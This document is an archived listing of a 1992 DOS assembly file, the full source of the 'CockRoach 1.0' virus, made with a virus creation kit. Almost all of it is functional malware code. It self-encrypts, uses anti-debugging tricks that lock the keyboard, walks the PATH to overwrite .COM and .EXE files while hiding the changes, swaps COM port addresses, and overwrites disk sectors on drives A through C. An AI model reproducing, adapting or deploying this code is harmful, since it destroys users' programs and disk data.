home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COCROACH.ASM < prev    next >
Assembly Source File  |  1992-12-07  |  10KB  |  336 lines

  1. ; COCROACH.ASM -- CockRoach Virus 1.0
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Anonymous Caller
  4.  
  5. virus_type    equ    1            ; Overwriting Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16. flag:        cmp    dx,0
  17.         xchg    dx,ax
  18.  
  19.         call    encrypt_decrypt        ; Decrypt the virus
  20.  
  21. start_of_code    label    near
  22.  
  23. stop_tracing:    mov    cx,09EBh
  24.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  25.         jmp    $-2
  26.         add    ah,03Bh            ; AH now equals 025h
  27.         jmp    $-10            ; Execute the HaLT
  28.         mov    bx,offset null_vector    ; BX points to new routine
  29.         push    cs            ; Transfer CS into ES
  30.         pop    es            ; using a PUSH/POP
  31.         int    021h
  32.         mov    al,1            ; Disable interrupt 1, too
  33.         int    021h
  34.         jmp    short skip_null        ; Hop over the loop
  35. null_vector:    jmp    $            ; An infinite loop
  36. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  37. lock_keys:    mov    al,128            ; Change here screws DEBUG
  38.         out    021h,al            ; If tracing then lock keyboard
  39.  
  40.         mov    cx,0007h        ; Do 7 infections
  41. search_loop:    push    cx            ; Save CX
  42.         call    search_files        ; Find and infect a file
  43.         pop    cx            ; Restore CX
  44.         loop    search_loop        ; Repeat until CX is 0
  45.  
  46.         mov    bx,0001h        ; First argument is 1
  47.         mov    si,0002h        ; Second argument is 2
  48.         push    es            ; Save ES
  49.         xor    ax,ax            ; Set the extra segment to
  50.         mov    es,ax                   ; zero (ROM BIOS)
  51.         shl    bx,1            ; Convert to word index
  52.         shl    si,1            ; Convert to word index
  53.         mov    ax,word ptr [bx + 03FEh]; Zero COM port address
  54.         xchg    word ptr [si + 03FEh],ax; Put first value in second,
  55.         mov    word ptr [bx + 03FEh],ax; and second value in first!
  56.         pop    es            ; Restore ES
  57.  
  58.         mov    ax,0002h        ; First argument is 2
  59.         mov    cx,0096h        ; Second argument is 150
  60.         cli                ; Disable interrupts (no Ctrl-C)
  61.         cwd                ; Clear DX (start with sector 0)
  62. trash_loop:    int    026h            ; DOS absolute write interrupt
  63.         dec    ax            ; Select the previous disk
  64.         cmp    ax,-1            ; Have we gone too far?
  65.         jne    trash_loop        ; If not, repeat with new drive
  66.         sti                ; Restore interrupts
  67.  
  68.         mov    ax,04C00h        ; DOS terminate function
  69.         int    021h
  70. main        endp
  71.  
  72.  
  73.         db    036h,0D6h,0D4h,0E6h,029h
  74.  
  75. search_files    proc    near
  76.         push    bp            ; Save BP
  77.         mov    bp,sp            ; BP points to local buffer
  78.         sub    sp,135            ; Allocate 135 bytes on stack
  79.  
  80.         mov    byte ptr [bp - 135],'\'    ; Start with a backslash
  81.  
  82.         mov    ah,047h            ; DOS get current dir function
  83.         xor    dl,dl            ; DL holds drive # (current)
  84.         lea    si,[bp - 134]        ; SI points to 64-byte buffer
  85.         int    021h
  86.  
  87.         call    traverse_path        ; Start the traversal
  88.  
  89. traversal_loop:    cmp    word ptr [path_ad],0    ; Was the search unsuccessful?
  90.         je    done_searching        ; If so then we're done
  91.         call    found_subdir        ; Otherwise copy the subdirectory
  92.  
  93.         mov    ax,cs            ; AX holds the code segment
  94.         mov    ds,ax            ; Set the data and extra
  95.         mov    es,ax            ; segments to the code segment
  96.  
  97.         xor    al,al            ; Zero AL
  98.         stosb                ; NULL-terminate the directory
  99.  
  100.         mov    ah,03Bh            ; DOS change directory function
  101.         lea    dx,[bp - 70]        ; DX points to the directory
  102.         int    021h
  103.  
  104.         mov    dx,offset com_mask    ; DX points to "*.COM"
  105.         call    find_files        ; Try to infect a .COM file
  106.         jnc    done_searching        ; If successful the exit
  107.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
  108.         call    find_files        ; Try to infect an .EXE file
  109.         jnc    done_searching        ; If successful the exit
  110.         jmp    short traversal_loop    ; Keep checking the PATH
  111.  
  112. done_searching:    mov    ah,03Bh            ; DOS change directory function
  113.         lea    dx,[bp - 135]        ; DX points to old directory
  114.         int    021h
  115.  
  116.         cmp    word ptr [path_ad],0    ; Did we run out of directories?
  117.         jne    at_least_tried        ; If not then exit
  118.         stc                ; Set the carry flag for failure
  119. at_least_tried:    mov    sp,bp            ; Restore old stack pointer
  120.         pop    bp            ; Restore BP
  121.         ret                ; Return to caller
  122. com_mask    db    "*.COM",0        ; Mask for all .COM files
  123. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  124. search_files    endp
  125.  
  126. traverse_path    proc    near
  127.         mov    es,word ptr cs:[002Ch]    ; ES holds the enviroment segment
  128.         xor    di,di            ; DI holds the starting offset
  129.  
  130. find_path:    mov    si,offset path_string    ; SI points to "PATH="
  131.         lodsb                ; Load the "P" into AL
  132.         mov    cx,08000h        ; Check the first 32767 bytes
  133.     repne    scasb                ; Search until the byte is found
  134.         mov    cx,4            ; Check the next four bytes
  135. check_next_4:    lodsb                ; Load the next letter of "PATH="
  136.         scasb                ; Compare it to the environment
  137.         jne    find_path        ; If there not equal try again
  138.         loop    check_next_4        ; Otherwise keep checking
  139.  
  140.         mov    word ptr [path_ad],di    ; Save the PATH address for later
  141.         mov    word ptr [path_ad + 2],es  ; Save PATH's segment for later
  142.         ret                ; Return to caller
  143.  
  144. path_string    db    "PATH="            ; The PATH string to search for
  145. path_ad        dd    ?            ; Holds the PATH's address
  146. traverse_path    endp
  147.  
  148. found_subdir    proc    near
  149.         lds    si,dword ptr [path_ad]    ; DS:SI points to the PATH
  150.         lea    di,[bp - 70]        ; DI points to the work buffer
  151.         push    cs            ; Transfer CS into ES for
  152.         pop    es            ; byte transfer
  153. move_subdir:    lodsb                ; Load the next byte into AL
  154.         cmp    al,';'            ; Have we reached a separator?
  155.         je    moved_one        ; If so we're done copying
  156.         or    al,al            ; Are we finished with the PATH?
  157.         je    moved_last_one        ; If so get out of here
  158.         stosb                ; Store the byte at ES:DI
  159.         jmp    short move_subdir    ; Keep transfering characters
  160.  
  161. moved_last_one:    xor    si,si            ; Zero SI to signal completion
  162. moved_one:    mov    word ptr es:[path_ad],si; Store SI in the path address
  163.         ret                ; Return to caller
  164. found_subdir    endp
  165.  
  166.         db    010h,08Eh,0B5h,016h,002h
  167.  
  168.  
  169. find_files    proc    near
  170.         push    bp            ; Save BP
  171.  
  172.         mov    ah,02Fh            ; DOS get DTA function
  173.         int    021h
  174.         push    bx            ; Save old DTA address
  175.  
  176.         mov    bp,sp            ; BP points to local buffer
  177.         sub    sp,128            ; Allocate 128 bytes on stack
  178.  
  179.         push    dx            ; Save file mask
  180.         mov    ah,01Ah            ; DOS set DTA function
  181.         lea    dx,[bp - 128]        ; DX points to buffer
  182.         int    021h
  183.  
  184.         mov    ah,04Eh            ; DOS find first file function
  185.         mov    cx,00100111b        ; CX holds all file attributes
  186.         pop    dx            ; Restore file mask
  187. find_a_file:    int    021h
  188.         jc    done_finding        ; Exit if no files found
  189.         call    infect_file        ; Infect the file!
  190.         jnc    done_finding        ; Exit if no error
  191.         mov    ah,04Fh            ; DOS find next file function
  192.         jmp    short find_a_file    ; Try finding another file
  193.  
  194. done_finding:    mov    sp,bp            ; Restore old stack frame
  195.         mov    ah,01Ah            ; DOS set DTA function
  196.         pop    dx            ; Retrieve old DTA address
  197.         int    021h
  198.  
  199.         pop    bp            ; Restore BP
  200.         ret                ; Return to caller
  201. find_files    endp
  202.  
  203.         db    0FDh,052h,0B3h,06Ah,08Ch
  204.  
  205. infect_file    proc    near
  206.         mov    ah,02Fh            ; DOS get DTA address function
  207.         int    021h
  208.         mov    si,bx            ; SI points to the DTA
  209.  
  210.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  211.  
  212.         cmp    word ptr [si + 01Ch],0    ; Is the file > 65535 bytes?
  213.         jne    infection_done        ; If it is then exit
  214.  
  215.         cmp    word ptr [si + 025h],'DN'  ; Might this be COMMAND.COM?
  216.         je    infection_done        ; If it is then skip it
  217.  
  218.         cmp    word ptr [si + 01Ah],(finish - start)
  219.         jb    infection_done        ; If it's too small then exit
  220.  
  221.         mov    ax,03D00h        ; DOS open file function, r/o
  222.         lea    dx,[si + 01Eh]        ; DX points to file name
  223.         int    021h
  224.         xchg    bx,ax            ; BX holds file handle
  225.  
  226.         mov    ah,03Fh            ; DOS read from file function
  227.         mov    cx,4            ; CX holds bytes to read (4)
  228.         mov    dx,offset buffer    ; DX points to buffer
  229.         int    021h
  230.  
  231.         mov    ah,03Eh            ; DOS close file function
  232.         int    021h
  233.  
  234.         push    si            ; Save DTA address before compare
  235.         mov    si,offset buffer    ; SI points to comparison buffer
  236.         mov    di,offset flag        ; DI points to virus flag
  237.         mov    cx,4            ; CX holds number of bytes (4)
  238.     rep    cmpsb                ; Compare the first four bytes
  239.         pop    si            ; Restore DTA address
  240.         je    infection_done        ; If equal then exit
  241.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  242.  
  243.         mov    ax,04301h        ; DOS set file attrib. function
  244.         xor    cx,cx            ; Clear all attributes
  245.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  246.         int    021h
  247.  
  248.         mov    ax,03D02h        ; DOS open file function, r/w
  249.         int    021h
  250.         xchg    bx,ax            ; BX holds file handle
  251.  
  252.         push    si            ; Save SI through call
  253.         call    encrypt_code        ; Write an encrypted copy
  254.         pop    si            ; Restore SI
  255.  
  256.         mov    ax,05701h        ; DOS set file time function
  257.         mov    cx,[si + 016h]        ; CX holds old file time
  258.         mov    dx,[si + 018h]        ; DX holds old file date
  259.         int    021h
  260.  
  261.         mov    ah,03Eh            ; DOS close file function
  262.         int    021h
  263.  
  264.         mov    ax,04301h        ; DOS set file attrib. function
  265.         xor    ch,ch            ; Clear CH for file attribute
  266.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  267.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  268.         int    021h
  269.  
  270. infection_done:    cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  271.         ret                ; Return to caller
  272.  
  273. buffer        db    4 dup (?)        ; Buffer to hold test data
  274. set_carry    db    ?            ; Set-carry-on-exit flag
  275. infect_file    endp
  276.  
  277.  
  278. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  279.  
  280.  
  281. note        db    "CockRoach 1.0 Virus"
  282.         db    "By Anonymous Caller"
  283.         db    "[LegenD] Systems 1992!"
  284.  
  285. encrypt_code    proc    near
  286.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  287.  
  288.         xor    ah,ah            ; BIOS get time function
  289.         int    01Ah
  290.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  291.  
  292.         xor    byte ptr [si],1        ;
  293.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  294.         xor    word ptr [si + 10],0101h; (and vice-versa)
  295.  
  296.         mov    di,offset finish    ; Copy routine into heap
  297.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  298.         push    si            ; Save SI for later
  299.         push    cx            ; Save CX for later
  300.     rep    movsb                ; Copy the bytes
  301.  
  302.         mov    si,offset write_stuff    ; SI points to write stuff
  303.         mov    cx,5            ; CX holds length of write
  304.     rep    movsb                ; Copy the bytes
  305.  
  306.         pop    cx            ; Restore CX
  307.         pop    si            ; Restore SI
  308.         inc    cx            ; Copy the RET also this time
  309.     rep    movsb                ; Copy the routine again
  310.  
  311.         mov    ah,040h            ; DOS write to file function
  312.         mov    dx,offset start        ; DX points to virus
  313.  
  314.         call    finish            ; Encrypt/write/decrypt
  315.  
  316.         ret                ; Return to caller
  317.  
  318. write_stuff:    mov    cx,finish - start    ; Length of code
  319.         int    021h
  320. encrypt_code    endp
  321.  
  322. end_of_code    label    near
  323.  
  324. encrypt_decrypt    proc    near
  325.         mov    si,offset start_of_code ; SI points to code to decrypt
  326.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  327. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  328.         inc    si            ; Do the next word
  329.         inc    si            ;
  330.         loop    xor_loop        ; Loop until we're through
  331.         ret                ; Return to caller
  332. encrypt_decrypt    endp
  333. finish        label    near
  334.  
  335. code        ends
  336.         end    main